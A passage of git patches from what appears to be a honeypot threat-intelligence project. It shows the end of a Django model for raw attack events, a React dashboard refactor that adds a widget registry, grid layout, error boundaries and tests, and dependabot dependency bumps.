on_delete=models.CASCADE, + related_name="raw_events", + ) + batch = models.ForeignKey( + "EventStatus", + on_delete=models.SET_NULL, + related_name="raw_events", + null=True, + blank=True, + ) + + # required fields + src_ip = models.GenericIPAddressField() + event_type = models.CharField(max_length=100) + timestamp = models.DateTimeField() + + # optional fields + session_id = models.CharField(max_length=100, blank=True, default="") + token_id = models.CharField(max_length=100, blank=True, default="") + src_port = models.IntegerField(null=True, blank=True) + dest_port = models.IntegerField(null=True, blank=True) + protocol = models.CharField(max_length=50, blank=True, default="") + service_name = models.CharField(max_length=100, blank=True, default="") + username = models.CharField(max_length=255, blank=True, default="") + password = models.CharField(max_length=255, blank=True, default="") + related_url = models.URLField(max_length=900, blank=True, default="") + payload_hash = models.CharField(max_length=64, blank=True, default="") + command = models.TextField(blank=True, default="") + cve_id = models.CharField(max_length=50, blank=True, default="") + + # fallback field + data = models.JSONField(default=dict, blank=True) + + # internal + created_at = models.DateTimeField(auto_now_add=True) + processed = models.BooleanField(default=False) + + class Meta: + ordering = ["-created_at"] + indexes = [ + models.Index(fields=["src_ip"]), + models.Index(fields=["timestamp"]), + models.Index(fields=["processed"]), + ] + + def __str__(self): + return f"{self.event_type} from {self.src_ip} @ {self.timestamp}" From 5601cea394c0151f41cc0fcd107902d7072d81c2 Mon Sep 17 00:00:00 2001 From: armoredvortex <66690593+armoredvortex@users.noreply.github.com> Date: Fri, 5 Jun 2026 11:54:48 +0530 Subject: [PATCH 019/131] Refactor dashboard: widgetRegistry & react-grid-layout integration. Closes #1365, #1367 (#1381) * widgetRegistery and widgetWrapper with error handling for each component. #1365 * fix formatting * modularize dashboard components and add react-grid-layout support * fix: adjust height of AttackOriginMap and AttackOriginCountriesChart * update comment * fix typo * add test for fallback widget render * remove defaultprops * remove defaultColSpan * node v24 * clean up unused code * set maxHeight for AttackOriginMap * update default value of minHeight to undefined * fix chart margins * more widgeterrorboundary inside wrapper --- frontend/package-lock.json | 71 ++++++++ frontend/package.json | 1 + .../components/dashboard/AttackOriginMap.jsx | 2 +- .../src/components/dashboard/Dashboard.jsx | 136 +--------------- .../dashboard/DashboardRenderer.jsx | 152 ++++++++++++++++++ .../components/dashboard/WidgetWrapper.jsx | 113 +++++++++++++ .../dashboard/defaultDashboardConfig.js | 66 ++++++++ .../src/components/dashboard/utils/charts.jsx | 62 ++++--- .../components/dashboard/widgetRegistry.js | 134 +++++++++++++++ .../components/dashboard/Dashboard.test.jsx | 26 ++- frontend/vitest.setup.js | 11 +- 11 files changed, 618 insertions(+), 156 deletions(-) create mode 100644 frontend/src/components/dashboard/DashboardRenderer.jsx create mode 100644 frontend/src/components/dashboard/WidgetWrapper.jsx create mode 100644 frontend/src/components/dashboard/defaultDashboardConfig.js create mode 100644 frontend/src/components/dashboard/widgetRegistry.js diff --git a/frontend/package-lock.json b/frontend/package-lock.json index b024fe3ad..6e79f6b0a 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -18,6 +18,7 @@ "prop-types": "^15.8.1", "react": "^19.2.6", "react-dom": "^19.2.6", + "react-grid-layout": "^2.2.3", "react-icons": "^5.6.0", "react-router-dom": "^7.15.1", "react-use": "^17.6.0", @@ -1246,6 +1247,9 @@ "cpu": [ "arm" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -1266,6 +1270,9 @@ "cpu": [ "arm" ], + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -1286,6 +1293,9 @@ "cpu": [ "arm64" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -1306,6 +1316,9 @@ "cpu": [ "arm64" ], + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -3465,6 +3478,12 @@ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", "license": "MIT" }, + "node_modules/fast-equals": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/fast-equals/-/fast-equals-4.0.3.tgz", + "integrity": "sha512-G3BSX9cfKttjr+2o1O22tYMLq0DPluZnYtq1rXumE1SpL/F/SLIfHx08WYQoWSIpeMYf8sRbJ8++71+v6Pnxfg==", + "license": "MIT" + }, "node_modules/fast-glob": { "version": "3.3.3", "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", @@ -4565,6 +4584,9 @@ "arm64" ], "dev": true, + "libc": [ + "glibc" + ], "license": "MPL-2.0", "optional": true, "os": [ @@ -4586,6 +4608,9 @@ "arm64" ], "dev": true, + "libc": [ + "musl" + ], "license": "MPL-2.0", "optional": true, "os": [ @@ -5507,12 +5532,44 @@ "react": "^19.2.6" } }, + "node_modules/react-draggable": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/react-draggable/-/react-draggable-4.5.0.tgz", + "integrity": "sha512-VC+HBLEZ0XJxnOxVAZsdRi8rD04Iz3SiiKOoYzamjylUcju/hP9np/aZdLHf/7WOD268WMoNJMvYfB5yAK45cw==", + "license": "MIT", + "dependencies": { + "clsx": "^2.1.1", + "prop-types": "^15.8.1" + }, + "peerDependencies": { + "react": ">= 16.3.0", + "react-dom": ">= 16.3.0" + } + }, "node_modules/react-fast-compare": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/react-fast-compare/-/react-fast-compare-2.0.4.tgz", "integrity": "sha512-suNP+J1VU1MWFKcyt7RtjiSWUjvidmQSlqu+eHslq+342xCbGTYmC0mEhPCOHxlW0CywylOC1u2DFAT+bv4dBw==", "license": "MIT" }, + "node_modules/react-grid-layout": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/react-grid-layout/-/react-grid-layout-2.2.3.tgz", + "integrity": "sha512-OAEJHBxmfuxQfVtZwRzmsokijGlBgzYIJ7MUlLk/VSa43SaGzu15w5D0P2RDrfX5EvP9POMbL6bFrai/huDzbQ==", + "license": "MIT", + "dependencies": { + "clsx": "^2.1.1", + "fast-equals": "^4.0.3", + "prop-types": "^15.8.1", + "react-draggable": "^4.4.6", + "react-resizable": "^3.1.3", + "resize-observer-polyfill": "^1.5.1" + }, + "peerDependencies": { + "react": ">= 16.3.0", + "react-dom": ">= 16.3.0" + } + }, "node_modules/react-icons": { "version": "5.6.0", "resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.6.0.tgz", @@ -5583,6 +5640,20 @@ } } }, + "node_modules/react-resizable": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/react-resizable/-/react-resizable-3.2.0.tgz", + "integrity": "sha512-3NKQ0SLZV7rs3LQHeXlOzDSRQfFrkX6TVet77/Qk03zqiZyee37b7N8/gwDJAA8UUjRz7PdWCCy49hcso45SMQ==", + "license": "MIT", + "dependencies": { + "prop-types": "15.x", + "react-draggable": "^4.5.0" + }, + "peerDependencies": { + "react": ">= 16.3", + "react-dom": ">= 16.3" + } + }, "node_modules/react-router": { "version": "7.15.1", "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.15.1.tgz", diff --git a/frontend/package.json b/frontend/package.json index 411d2878c..08da08879 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -19,6 +19,7 @@ "prop-types": "^15.8.1", "react": "^19.2.6", "react-dom": "^19.2.6", + "react-grid-layout": "^2.2.3", "react-icons": "^5.6.0", "react-router-dom": "^7.15.1", "react-use": "^17.6.0", diff --git a/frontend/src/components/dashboard/AttackOriginMap.jsx b/frontend/src/components/dashboard/AttackOriginMap.jsx index 19deb1824..c88465c59 100644 --- a/frontend/src/components/dashboard/AttackOriginMap.jsx +++ b/frontend/src/components/dashboard/AttackOriginMap.jsx @@ -235,7 +235,7 @@ export default function AttackOriginMap() { projection="geoNaturalEarth1" width={800} height={420} - style={{ width: "100%", height: "auto" }} + style={{ width: "100%", height: "auto", maxHeight: 440 }} onMouseMove={handleMouseMove} onMouseLeave={handleMouseLeave} > diff --git a/frontend/src/components/dashboard/Dashboard.jsx b/frontend/src/components/dashboard/Dashboard.jsx index 59cf0eceb..b41d6235f 100644 --- a/frontend/src/components/dashboard/Dashboard.jsx +++ b/frontend/src/components/dashboard/Dashboard.jsx @@ -1,45 +1,10 @@ import React from "react"; -import { Container, Row, Col } from "reactstrap"; +import { Container } from "reactstrap"; -import { - ElasticTimePicker, - useTimePickerStore, - SmallInfoCard, -} from "@greedybear/gb-ui"; +import { ElasticTimePicker, useTimePickerStore } from "@greedybear/gb-ui"; -import { - FeedsSourcesChart, - FeedsDownloadsChart, - EnrichmentSourcesChart, - EnrichmentRequestsChart, - FeedsTypesChart, - AttackOriginCountriesChart, -} from "./utils/charts"; - -import EnrichmentLookup from "./EnrichmentLookup"; -import AttackOriginMap from "./AttackOriginMap"; - -const feedsChartList = [ - ["FeedsSourcesChart", "Feeds: Sources", FeedsSourcesChart], - ["FeedsDownloadsChart", "Feeds: Downloads", FeedsDownloadsChart], -]; - -const feedsTypesChartList = [ - ["FeedsTypesChart", "Feeds: Types", FeedsTypesChart], -]; - -const enrichmentChartList = [ - [ - "EnrichmentSourcesChart", - "Enrichment Service: Sources", - EnrichmentSourcesChart, - ], - [ - "EnrichmentRequestsChart", - "Enrichment Service: Requests", - EnrichmentRequestsChart, - ], -]; +import DashboardRenderer from "./DashboardRenderer"; +import { WIDGET_CONFIGS, DASHBOARD_LAYOUTS } from "./defaultDashboardConfig"; function Dashboard() { console.debug("Dashboard rendered!"); @@ -57,95 +22,10 @@ function Dashboard() { /> - {/* Enrichment Lookup Section - Publicly visible */} - - - - - - } - /> - - - - - {feedsTypesChartList.map(([id, header, Component]) => ( - - - - - } - style={{ minHeight: 360 }} - /> - - ))} - - - {feedsChartList.map(([id, header, Component]) => ( - - - - - } - style={{ minHeight: 360 }} - /> - - ))} - - - {enrichmentChartList.map(([id, header, Component]) => ( - - - - - } - style={{ minHeight: 360 }} - /> - - ))} - - - - - - - } - style={{ height: "100%" }} - /> - - - - - - } - style={{ height: "100%" }} - /> - - +
); } diff --git a/frontend/src/components/dashboard/DashboardRenderer.jsx b/frontend/src/components/dashboard/DashboardRenderer.jsx new file mode 100644 index 000000000..099d7be56 --- /dev/null +++ b/frontend/src/components/dashboard/DashboardRenderer.jsx @@ -0,0 +1,152 @@ +import React from "react"; +import PropTypes from "prop-types"; +import { Row, Col } from "reactstrap"; +import { Responsive, useContainerWidth } from "react-grid-layout"; + +// react-grid-layout base styles +import "react-grid-layout/css/styles.css"; +import "react-resizable/css/styles.css"; + +import widgetRegistry from "./widgetRegistry"; +import WidgetWrapper from "./WidgetWrapper"; + +/** + * @typedef {Object} WidgetConfig + * @property {string} type - Registry key (must exist in widgetRegistry.js) + * @property {string} id - Unique DOM id for this widget instance + * @property {boolean} [noGrid] - When true, widget is rendered as a Bootstrap + * Row ABOVE the RGL grid. Use for auto-height + * widgets like EnrichmentLookup that expand + * dynamically when results are displayed. + * @property {object} [props] - Extra props forwarded to the widget component; + * merged with the registry entry's defaultProps + */ + +/** + * DashboardRenderer + * 1. noGrid widgets: Bootstrap Rows stacked above the RGL grid. + * Cards auto-size to their content (no fixed height). + * 2. grid widgets: Inside a react-grid-layout `Responsive` grid driven + * by the `layouts` prop. + * + * @param {object} props + * @param {WidgetConfig[]} props.widgetConfigs + * @param {object} props.layouts + */ +function DashboardRenderer({ widgetConfigs, layouts = {} }) { + const { width, containerRef } = useContainerWidth(); + + const noGridConfigs = widgetConfigs.filter((cfg) => cfg.noGrid); + const gridConfigs = widgetConfigs.filter((cfg) => !cfg.noGrid); + + /** + * Look up the registry and return a fully-wrapped widget. + * Falls back to a visible warning if the registry key is unknown. + */ + const renderWidget = React.useCallback((cfg) => { + const definition = widgetRegistry.get(cfg.type); + + if (!definition) { + console.warn( + `[DashboardRenderer] Unknown widget type: "${cfg.type}". ` + + `Make sure it is registered in widgetRegistry.js.`, + ); + return ( +
+ Unknown widget: {cfg.type} +
+ ); + } + + const { + component: WidgetComponent, + displayName, + defaultHeight, + fillHeight, + defaultProps: registryDefaultProps, + } = definition; + + // Per-instance props win over registry defaults + const mergedProps = { + ...(registryDefaultProps ?? {}), + ...(cfg.props ?? {}), + }; + + return ( + + + + ); + }, []); + + return ( + <> + {noGridConfigs.map((cfg, idx) => ( + 0 ? "mt-4 " : ""}mb-4`}> + {renderWidget(cfg)} + + ))} + + {gridConfigs.length > 0 && ( +
+ + {gridConfigs.map((cfg) => ( +
+ {renderWidget(cfg)} +
+ ))} +
+
+ )} + + ); +} + +DashboardRenderer.propTypes = { + widgetConfigs: PropTypes.arrayOf( + PropTypes.shape({ + type: PropTypes.string.isRequired, + id: PropTypes.string.isRequired, + noGrid: PropTypes.bool, + props: PropTypes.object, + }), + ).isRequired, + layouts: PropTypes.objectOf( + PropTypes.arrayOf( + PropTypes.shape({ + i: PropTypes.string.isRequired, + x: PropTypes.number.isRequired, + y: PropTypes.number.isRequired, + w: PropTypes.number.isRequired, + h: PropTypes.number.isRequired, + static: PropTypes.bool, + }), + ), + ), +}; + +export default DashboardRenderer; diff --git a/frontend/src/components/dashboard/WidgetWrapper.jsx b/frontend/src/components/dashboard/WidgetWrapper.jsx new file mode 100644 index 000000000..25535c2d0 --- /dev/null +++ b/frontend/src/components/dashboard/WidgetWrapper.jsx @@ -0,0 +1,113 @@ +import React from "react"; +import PropTypes from "prop-types"; +import { SmallInfoCard } from "@greedybear/gb-ui"; + +class WidgetErrorBoundary extends React.Component { + constructor(props) { + super(props); + this.state = { hasError: false, error: null }; + } + + static getDerivedStateFromError(error) { + return { hasError: true, error }; + } + + componentDidCatch(error, info) { + console.error( + `[WidgetErrorBoundary] Widget "${this.props.widgetId}" threw:`, + error, + info, + ); + } + + render() { + if (this.state.hasError) { + return ( +
+ + ⚠️ + + Widget failed to render. +
+ ); + } + return this.props.children; + } +} + +WidgetErrorBoundary.propTypes = { + widgetId: PropTypes.string.isRequired, + children: PropTypes.node.isRequired, +}; + +// --------------------------------------------------------------------------- +// Props: +// id {string} DOM id forwarded to SmallInfoCard +// header {string} Card header text (widget displayName) +// minHeight {number|null} Optional min-height in px (noGrid widgets) +// fillHeight {boolean} When true, card takes full container height +// (used inside react-grid-layout slots) +// children {ReactNode} The widget component +// --------------------------------------------------------------------------- +function WidgetWrapper({ + id, + header, + minHeight = undefined, + fillHeight = false, + children, +}) { + const cardStyle = React.useMemo(() => { + if (fillHeight) return { height: "100%" }; + if (minHeight != null) return { minHeight }; + return undefined; + }, [fillHeight, minHeight]); + + return ( + {children}} + style={cardStyle} + /> + ); +} + +WidgetWrapper.propTypes = { + id: PropTypes.string.isRequired, + header: PropTypes.string.isRequired, + minHeight: PropTypes.number, + fillHeight: PropTypes.bool, + children: PropTypes.node.isRequired, +}; + +function SafeWidgetWrapper({ + id, + header, + minHeight = undefined, + fillHeight = false, + children, +}) { + return ( + + {children} + + ); +} + +SafeWidgetWrapper.propTypes = { + id: PropTypes.string.isRequired, + header: PropTypes.string.isRequired, + minHeight: PropTypes.number, + fillHeight: PropTypes.bool, + children: PropTypes.node.isRequired, +}; + +export default SafeWidgetWrapper; diff --git a/frontend/src/components/dashboard/defaultDashboardConfig.js b/frontend/src/components/dashboard/defaultDashboardConfig.js new file mode 100644 index 000000000..839e590e8 --- /dev/null +++ b/frontend/src/components/dashboard/defaultDashboardConfig.js @@ -0,0 +1,66 @@ +export const WIDGET_CONFIGS = [ + // EnrichmentLookup must auto-size because its card grows when results appear. + { + type: "EnrichmentLookup", + id: "enrichment-lookup", + noGrid: true, + }, + + // rendered inside react-grid-layout + { type: "FeedsTypesChart", id: "FeedsTypesChart" }, + { type: "FeedsSourcesChart", id: "FeedsSourcesChart" }, + { type: "FeedsDownloadsChart", id: "FeedsDownloadsChart" }, + { type: "EnrichmentSourcesChart", id: "EnrichmentSourcesChart" }, + { type: "EnrichmentRequestsChart", id: "EnrichmentRequestsChart" }, + { type: "AttackOriginMap", id: "AttackOriginMap" }, + { type: "AttackOriginCountriesChart", id: "AttackOriginCountriesChart" }, +]; + +// `static: true` prevents dragging/resizing +// set this to false for admin sessions and persist user layouts. + +export const DASHBOARD_LAYOUTS = { + lg: [ + { i: "FeedsTypesChart", x: 0, y: 0, w: 12, h: 9, static: true }, + { i: "FeedsSourcesChart", x: 0, y: 9, w: 6, h: 9, static: true }, + { i: "FeedsDownloadsChart", x: 6, y: 9, w: 6, h: 9, static: true }, + { i: "EnrichmentSourcesChart", x: 0, y: 18, w: 6, h: 9, static: true }, + { i: "EnrichmentRequestsChart", x: 6, y: 18, w: 6, h: 9, static: true }, + { i: "AttackOriginMap", x: 0, y: 27, w: 8, h: 12, static: true }, + { i: "AttackOriginCountriesChart", x: 8, y: 27, w: 4, h: 12, static: true }, + ], + + md: [ + { i: "FeedsTypesChart", x: 0, y: 0, w: 12, h: 9, static: true }, + { i: "FeedsSourcesChart", x: 0, y: 9, w: 12, h: 9, static: true }, + { i: "FeedsDownloadsChart", x: 0, y: 18, w: 12, h: 9, static: true }, + { i: "EnrichmentSourcesChart", x: 0, y: 27, w: 12, h: 9, static: true }, + { i: "EnrichmentRequestsChart", x: 0, y: 36, w: 12, h: 9, static: true }, + { i: "AttackOriginMap", x: 0, y: 45, w: 12, h: 12, static: true }, + { + i: "AttackOriginCountriesChart", + x: 0, + y: 55, + w: 12, + h: 12, + static: true, + }, + ], + + sm: [ + { i: "FeedsTypesChart", x: 0, y: 0, w: 12, h: 9, static: true }, + { i: "FeedsSourcesChart", x: 0, y: 9, w: 12, h: 9, static: true }, + { i: "FeedsDownloadsChart", x: 0, y: 18, w: 12, h: 9, static: true }, + { i: "EnrichmentSourcesChart", x: 0, y: 27, w: 12, h: 9, static: true }, + { i: "EnrichmentRequestsChart", x: 0, y: 36, w: 12, h: 9, static: true }, + { i: "AttackOriginMap", x: 0, y: 45, w: 12, h: 12, static: true }, + { + i: "AttackOriginCountriesChart", + x: 0, + y: 55, + w: 12, + h: 12, + static: true, + }, + ], +}; diff --git a/frontend/src/components/dashboard/utils/charts.jsx b/frontend/src/components/dashboard/utils/charts.jsx index 19f4f1fda..72cf7f5c7 100644 --- a/frontend/src/components/dashboard/utils/charts.jsx +++ b/frontend/src/components/dashboard/utils/charts.jsx @@ -34,41 +34,47 @@ const colors = getRandomColorsArray(30, true); /** * Creates an area chart component to avoid duplicating chart setup code. * - * @param {string} name - Display name for the generated chart component. * @param {string} url - API endpoint used to fetch chart data. * @param {Object} colorMap - Map of data keys to color values. * @param {number} start - Start index for slicing the color map. * @param {number} end - End index for slicing the color map. */ +export const AreaChartWidget = React.memo(({ url, colorMap, start, end }) => { + const chartProps = React.useMemo( + () => ({ + url, + accessorFnAggregation: (d) => d, + composedChartProps: { + chartProps: { margin: { top: 0, right: 0, left: 0, bottom: 0 } }, + }, + componentsFn: () => + Object.entries(colorMap) + .slice(start, end) + .map(([key, color]) => ( + + )), + }), + [url, colorMap, start, end], + ); + + return ; +}); +AreaChartWidget.displayName = "AreaChartWidget"; + export const createAreaChart = (name, url, colorMap, start, end) => { const Component = React.memo(() => { console.debug(`${name} rendered!`); - - const chartProps = React.useMemo( - () => ({ - url, - accessorFnAggregation: (d) => d, - componentsFn: () => - Object.entries(colorMap) - .slice(start, end) - .map(([key, color]) => ( - - )), - }), - [url, colorMap, start, end], + return ( + ); - - return ; }); - Component.displayName = name; - return Component; }; @@ -95,6 +101,7 @@ export const EnrichmentSourcesChart = createAreaChart( 0, 1, ); + export const EnrichmentRequestsChart = createAreaChart( "EnrichmentRequestsChart", ENRICHMENT_STATISTICS_REQUESTS_URI, @@ -110,11 +117,14 @@ export const FeedsTypesChart = React.memo(() => { () => ({ url: FEEDS_STATISTICS_TYPES_URI, accessorFnAggregation: (d) => d, + composedChartProps: { + chartProps: { margin: { top: 0, right: 0, left: 0, bottom: 0 } }, + }, componentsFn: (respData) => { console.debug("respData", respData); if (!respData || !respData?.length) return null; - // Exctract keys only from respData[0]: + // Extract keys only from respData[0]: // feed types are the same for all elements of respData. // Slice "date" field: we are only interested in feeds types. const feedsTypes = []; @@ -133,6 +143,7 @@ export const FeedsTypesChart = React.memo(() => { return ; }); +FeedsTypesChart.displayName = "FeedsTypesChart"; export const AttackOriginCountriesChart = React.memo(() => { console.debug("AttackOriginCountriesChart rendered!"); @@ -217,3 +228,4 @@ export const AttackOriginCountriesChart = React.memo(() => { ); }); +AttackOriginCountriesChart.displayName = "AttackOriginCountriesChart"; diff --git a/frontend/src/components/dashboard/widgetRegistry.js b/frontend/src/components/dashboard/widgetRegistry.js new file mode 100644 index 000000000..b46b56df8 --- /dev/null +++ b/frontend/src/components/dashboard/widgetRegistry.js @@ -0,0 +1,134 @@ +/** + * A Map registry for all dashboard widgets + * + * Each entry shape: + * { + * component: React.ComponentType - the widget component to render + * displayName: string - card header + * defaultHeight: number | null - min-height in px; only meaningful for + * noGrid widgets where the card auto-sizes. + * fillHeight: boolean - true = card fills its react-grid-layout slot (height 100%) + * endpoints: string[] - API endpoints this widget consumes + * defaultProps: object - default props forwarded to the component + * by DashboardRenderer + * } + */ + +import { + FeedsSourcesChart, + FeedsDownloadsChart, + EnrichmentSourcesChart, + EnrichmentRequestsChart, + FeedsTypesChart, + AttackOriginCountriesChart, +} from "./utils/charts"; + +import EnrichmentLookup from "./EnrichmentLookup"; +import AttackOriginMap from "./AttackOriginMap"; + +import { + FEEDS_STATISTICS_SOURCES_URI, + FEEDS_STATISTICS_DOWNLOADS_URI, + FEEDS_STATISTICS_TYPES_URI, + ENRICHMENT_STATISTICS_SOURCES_URI, + ENRICHMENT_STATISTICS_REQUESTS_URI, + IOC_ATTACKER_COUNTRIES_URI, + ENRICHMENT_URI, +} from "../../constants/api"; + +/** + * @typedef {Object} WidgetDefinition + * @property {React.ComponentType} component + * @property {string} displayName + * @property {number|null} [defaultHeight] + * @property {boolean} fillHeight + * @property {string[]} endpoints + * @property {object} defaultProps + */ + +/** @type {Map} */ +const widgetRegistry = new Map([ + [ + "EnrichmentLookup", + { + component: EnrichmentLookup, + displayName: "Enrichment Lookup", + defaultHeight: null, // auto-sizes via Bootstrap row + fillHeight: false, + endpoints: [ENRICHMENT_URI], + defaultProps: {}, + }, + ], + [ + "FeedsTypesChart", + { + component: FeedsTypesChart, + displayName: "Feeds: Types", + fillHeight: true, + endpoints: [FEEDS_STATISTICS_TYPES_URI], + defaultProps: {}, + }, + ], + [ + "FeedsSourcesChart", + { + component: FeedsSourcesChart, + displayName: "Feeds: Sources", + fillHeight: true, + endpoints: [FEEDS_STATISTICS_SOURCES_URI], + defaultProps: {}, + }, + ], + [ + "FeedsDownloadsChart", + { + component: FeedsDownloadsChart, + displayName: "Feeds: Downloads", + fillHeight: true, + endpoints: [FEEDS_STATISTICS_DOWNLOADS_URI], + defaultProps: {}, + }, + ], + [ + "EnrichmentSourcesChart", + { + component: EnrichmentSourcesChart, + displayName: "Enrichment Service: Sources", + fillHeight: true, + endpoints: [ENRICHMENT_STATISTICS_SOURCES_URI], + defaultProps: {}, + }, + ], + [ + "EnrichmentRequestsChart", + { + component: EnrichmentRequestsChart, + displayName: "Enrichment Service: Requests", + fillHeight: true, + endpoints: [ENRICHMENT_STATISTICS_REQUESTS_URI], + defaultProps: {}, + }, + ], + [ + "AttackOriginMap", + { + component: AttackOriginMap, + displayName: "Attack Origins: World Map", + fillHeight: true, + endpoints: [IOC_ATTACKER_COUNTRIES_URI], + defaultProps: {}, + }, + ], + [ + "AttackOriginCountriesChart", + { + component: AttackOriginCountriesChart, + displayName: "Attack Origins: Top Countries", + fillHeight: false, // chart height is data-driven (# countries × 28px) + endpoints: [IOC_ATTACKER_COUNTRIES_URI], + defaultProps: {}, + }, + ], +]); + +export default widgetRegistry; diff --git a/frontend/tests/components/dashboard/Dashboard.test.jsx b/frontend/tests/components/dashboard/Dashboard.test.jsx index a1590ba0b..2897fdc4b 100644 --- a/frontend/tests/components/dashboard/Dashboard.test.jsx +++ b/frontend/tests/components/dashboard/Dashboard.test.jsx @@ -5,6 +5,8 @@ import { BrowserRouter } from "react-router-dom"; import Dashboard from "../../../src/components/dashboard/Dashboard"; vi.mock("axios"); + +const consoleErrorSpy = vi.spyOn(console, "error").mockImplementation(() => {}); // mock charts module vi.mock( "../../../src/components/dashboard/utils/charts", @@ -15,7 +17,9 @@ vi.mock( const EnrichmentSourcesChart = () =>
; const EnrichmentRequestsChart = () =>
; const FeedsTypesChart = () =>
; - const AttackOriginCountriesChart = () =>
; + const AttackOriginCountriesChart = () => { + throw new Error("Widget failure"); + }; return { ...originalChartModule, @@ -34,6 +38,14 @@ vi.mock("../../../src/components/dashboard/AttackOriginMap", () => ({ })); describe("Dashboard component", () => { + afterEach(() => { + consoleErrorSpy.mockClear(); + }); + + afterAll(() => { + consoleErrorSpy.mockRestore(); + }); + test("Dashboard", () => { render( @@ -56,4 +68,16 @@ describe("Dashboard component", () => { ); expect(EnrichmentRequestsChart).toBeInTheDocument(); }); + + test("renders a fallback for a throwing widget while keeping the dashboard alive", () => { + render( + + + , + ); + + expect(screen.getByText("Widget failed to render.")).toBeInTheDocument(); + expect(screen.getByText("Feeds: Sources")).toBeInTheDocument(); + expect(screen.getByText("Attack Origins: World Map")).toBeInTheDocument(); + }); }); diff --git a/frontend/vitest.setup.js b/frontend/vitest.setup.js index 86465dc0f..5967cc178 100644 --- a/frontend/vitest.setup.js +++ b/frontend/vitest.setup.js @@ -1,5 +1,14 @@ import '@testing-library/jest-dom'; -import { vi } from 'vitest'; + +// react-grid-layout's useContainerWidth hook relies on ResizeObserver, which is +// absent in jsdom. Stub it so dashboard tests don't throw when measuring width. +if (typeof globalThis.ResizeObserver === 'undefined') { + globalThis.ResizeObserver = class ResizeObserver { + observe() {} + unobserve() {} + disconnect() {} + }; +} if (typeof globalThis.localStorage !== 'undefined' && typeof globalThis.localStorage.getItem !== 'function') { const store = {}; From 809b029de0ced6dab358958c764670ada8c87d2d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 08:25:45 +0200 Subject: [PATCH 020/131] build(deps): bump axios from 1.16.1 to 1.17.0 in /frontend (#1390) Bumps [axios](https://github.com/axios/axios) from 1.16.1 to 1.17.0. - [Release notes](https://github.com/axios/axios/releases) - [Changelog](https://github.com/axios/axios/blob/v1.x/CHANGELOG.md) - [Commits](https://github.com/axios/axios/compare/v1.16.1...v1.17.0) --- updated-dependencies: - dependency-name: axios dependency-version: 1.17.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 8 ++++---- frontend/package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 6e79f6b0a..73cddaa6b 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -10,7 +10,7 @@ "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", "@vnedyalk0v/react19-simple-maps": "^2.0.7", - "axios": "^1.16.1", + "axios": "^1.17.0", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", "formik": "^2.4.9", @@ -2398,9 +2398,9 @@ "license": "MIT" }, "node_modules/axios": { - "version": "1.16.1", - "resolved": "https://registry.npmjs.org/axios/-/axios-1.16.1.tgz", - "integrity": "sha512-caYkukvroVPO8KrzuJEb50Hm07KwfBZPEC3VeFHTsqWHvKTsy54hjJz9BS/cdaypROE2rH6xvm9mHX4fgWkr3A==", + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.17.0.tgz", + "integrity": "sha512-J8SwNxprqqpbfenehxWYXE7CW+wM1BB4w3+N+g+/Wx40xM4rsLrfPmHHxSWIxJLYDgSY/HqlFPIYb2/S3rxafw==", "license": "MIT", "dependencies": { "follow-redirects": "^1.16.0", diff --git a/frontend/package.json b/frontend/package.json index 08da08879..22ed87484 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -11,7 +11,7 @@ "dependencies": { "@greedybear/gb-ui": "github:GreedyBear-Project/gb-ui#1.0.0", "@vnedyalk0v/react19-simple-maps": "^2.0.7", - "axios": "^1.16.1", + "axios": "^1.17.0", "axios-hooks": "^5.1.1", "bootstrap": ">=5.3.8", "formik": "^2.4.9", From d1ed0e887395ac2557ba92c94bd139ca846f3f13 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 5 Jun 2026 08:26:03 +0200 Subject: [PATCH 021/131] build(deps-dev): bump @vitest/coverage-v8 in /frontend (#1391) Bumps [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) from 4.1.7 to 4.1.8. - [Release notes](https://github.com/vitest-dev/vitest/releases) - [Changelog](https://github.com/vitest-dev/vitest/blob/main/docs/releases.md) - [Commits](https://github.com/vitest-dev/vitest/commits/v4.1.8/packages/coverage-v8) --- updated-dependencies: - dependency-name: "@vitest/coverage-v8" dependency-version: 4.1.8 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 102 ++++++++++++++++++------------------- frontend/package.json | 2 +- 2 files changed, 52 insertions(+), 52 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 73cddaa6b..7364a5ff1 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -32,7 +32,7 @@ "@testing-library/react": "^16.3.2", "@testing-library/user-event": "^14.6.1", "@vitejs/plugin-react": "^6.0.2", - "@vitest/coverage-v8": "^4.1.7", + 